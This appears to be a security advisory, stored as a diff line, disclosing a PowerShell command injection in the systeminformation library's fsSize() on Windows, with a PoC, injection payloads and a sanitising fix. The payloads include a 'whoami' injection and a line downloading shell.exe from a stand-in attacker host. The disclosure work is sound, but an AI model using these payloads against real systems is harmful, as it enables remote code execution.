+ "details": "## Summary\n\nThe `fsSize()` function in `systeminformation` is vulnerable to **OS Command Injection (CWE-78)** on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.\n\n**Affected Platforms:** Windows only \n\n**CVSS Breakdown:**\n- **Attack Vector (AV:N):** Network - if used in a web application/API\n- **Attack Complexity (AC:H):** High - requires application to pass user input to `fsSize()`\n- **Privileges Required (PR:N):** None - no authentication required at library level\n- **User Interaction (UI:N):** None\n- **Scope (S:U):** Unchanged - executes within Node.js process context\n- **Confidentiality/Integrity/Availability (C:H/I:H/A:H):** High impact if exploited\n\n> **Note:** The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable.\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File:** `lib/filesystem.js`, **Line 197**\n\n```javascript\nif (_windows) {\n try {\n const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;\n util.powerShell(cmd).then((stdout, error) => {\n```\n\nThe `drive` parameter is concatenated directly into the PowerShell command string without any sanitization.\n\n### Why This Is a Vulnerability\n\nThis is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using `util.sanitizeShellString()`:\n\n| File | Line | Function | Sanitization |\n|------|------|----------|--------------|\n| `lib/processes.js` | 141 | `services()` | ✅ `util.sanitizeShellString(srv)` |\n| `lib/processes.js` | 1006 | `processLoad()` | ✅ `util.sanitizeShellString(proc)` |\n| `lib/network.js` | 1253 | `networkStats()` | ✅ `util.sanitizeShellString(iface)` |\n| `lib/docker.js` | 472 | `dockerContainerStats()` | ✅ `util.sanitizeShellString(containerIDs, true)` |\n| `lib/filesystem.js` | 197 | `fsSize()` | ❌ **No sanitization** |\n\nThe `sanitizeShellString()` function (defined at `lib/util.js:731`) removes dangerous characters like `;`, `&`, `|`, `$`, `` ` ``, `#`, etc., which would prevent command injection.\n\n---\n\n## PoC\n\n### Attack Scenario\n\nAn application exposes disk information via an API and passes user input to `si.fsSize()`:\n\n```javascript\n// Vulnerable application example\nconst si = require('systeminformation');\nconst http = require('http');\nconst url = require('url');\n\nhttp.createServer(async (req, res) => {\n const parsedUrl = url.parse(req.url, true);\n const drive = parsedUrl.query.drive; // User-controlled input\n \n // VULNERABLE: User input passed directly to fsSize()\n const diskInfo = await si.fsSize(drive);\n \n res.end(JSON.stringify(diskInfo));\n}).listen(3000);\n```\n\n### Exploitation\n\n**Normal Request:**\n```\nGET /api/disk?drive=C:\n```\n\n**Malicious Request (Command Injection):**\n```\nGET /api/disk?drive=C:;%20whoami%20%23\n```\n\n### Command Construction Demonstration\n\nThe following demonstrates how commands are constructed with malicious input:\n\n**Normal usage:**\n```\nInput: \"C:\"\nCommand: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl\n```\n\n**With injection payload `C:; whoami #`:**\n```\nInput: \"C:; whoami #\"\nCommand: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl\n ↑ ↑\n semicolon terminates # comments out rest\n first command\n```\n\nPowerShell will execute:\n1. `Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C:` (original command)\n2. `whoami` (injected command)\n3. Everything after `#` is commented out\n\n### PoC Script\n\n```javascript\n/**\n * Command Injection PoC - systeminformation fsSize()\n * \n * Run with: node poc.js\n * Requires: npm install systeminformation\n */\n\nconst os = require('os');\n\n// Simulates the vulnerable command construction from filesystem.js:197\nfunction simulateVulnerableCommand(drive) {\n const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;\n return cmd;\n}\n\n// Test payloads\nconst payloads = [\n { name: 'Normal', input: 'C:' },\n { name: 'Command Execution', input: 'C:; whoami #' },\n { name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\\\temp\\\\procs.txt #' },\n { name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\\\temp\\\\shell.exe #' },\n];\n\nconsole.log('=== Command Injection PoC ===\\n');\nconsole.log(`Platform: ${os.platform()}`);\nconsole.log(`Note: Actual exploitation requires Windows\\n`);\n\npayloads.forEach(p => {\n console.log(`[${p.name}]`);\n console.log(` Input: ${p.input}`);\n console.log(` Command: ${simulateVulnerableCommand(p.input)}\\n`);\n});\n```\n\n### PoC Output\n\n```\n=== Command Injection PoC ===\n\nPlatform: win32\nNote: Actual exploitation requires Windows\n\n[Normal]\n Input: C:\n Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl\n\n[Command Execution]\n Input: C:; whoami #\n Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl\n\n[Data Exfiltration]\n Input: C:; Get-Process | Out-File C:\\temp\\procs.txt #\n Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\\temp\\procs.txt # | fl\n\n[Remote Payload]\n Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #\n Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe # | fl\n```\n\nAs shown, the attacker's commands are injected directly into the PowerShell command string.\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- Applications running `systeminformation` on **Windows** that pass user-controlled input to `fsSize(drive)`\n- Web applications, APIs, or CLI tools that accept drive letters from users\n- Monitoring dashboards that allow users to specify which drives to query\n\n### Potential Attack Scenarios\n\n1. **Remote Code Execution (RCE)** - Execute arbitrary commands with Node.js process privileges\n2. **Data Exfiltration** - Read sensitive files and exfiltrate data\n3. **Privilege Escalation** - If Node.js runs with elevated privileges\n4. **Lateral Movement** - Use the compromised system to attack internal network\n5. **Ransomware Deployment** - Download and execute malicious payloads\n\n---\n\n## Recommended Fix\n\nApply `util.sanitizeShellString()` to the `drive` parameter, consistent with other functions in the codebase:\n\n```diff\n if (_windows) {\n try {\n+ const driveSanitized = drive ? util.sanitizeShellString(drive, true) : '';\n- const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;\n+ const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? '| where -property Caption -eq ' + driveSanitized : ''} | fl`;\n util.powerShell(cmd).then((stdout, error) => {\n```\n\nThe `true` parameter enables strict mode which removes additional characters like spaces and parentheses.\n\n---\n\n`systeminformation` thanks developers working on the project. The Systeminformation Project hopes this report helps improve the its security. Please systeminformation know if any additional information or clarification is needed.",
0 commit comments